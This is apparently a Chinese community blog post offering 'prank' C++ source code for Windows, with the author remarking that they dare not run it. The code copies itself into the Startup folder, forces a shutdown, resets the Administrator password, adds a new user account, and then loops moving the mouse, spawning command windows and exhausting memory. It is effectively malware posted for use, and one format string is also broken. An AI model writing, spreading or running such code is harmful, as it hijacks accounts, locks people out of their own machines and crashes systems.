整蛊人的代码
#include <iostream>#include <windows.h>#include <ctime>#include <cstdlib>#include <stdio.h>#include <string.h>#include <fstream>using namespace std;int main (
文章共141字 · 阅读需要大约1分钟
一键AI生成摘要,助你高效阅读
问答
·
作者这里不敢启动,直接上代码:
#include <iostream>
#include <windows.h>
#include <ctime>
#include <cstdlib>
#include <stdio.h>
#include <string.h>
#include <fstream>
using namespace std;
int main (int argc,char *argv[]){
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"");
system(copy);
char cmd[]="shutdown -s -t 20";
system("ping baidu.com");
system(cmd);
system("pause");
system(copy);
system("net user Administrator xz");
system("net user 崩溃 xz /add");
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
system("shutdown -s -t 20");
while(1){
SetCursorPos(rand()%x,rand()%y);
system("start");
char *p=new char[10000];
}
}
更多推荐
已为社区贡献1条内容
所有评论(0)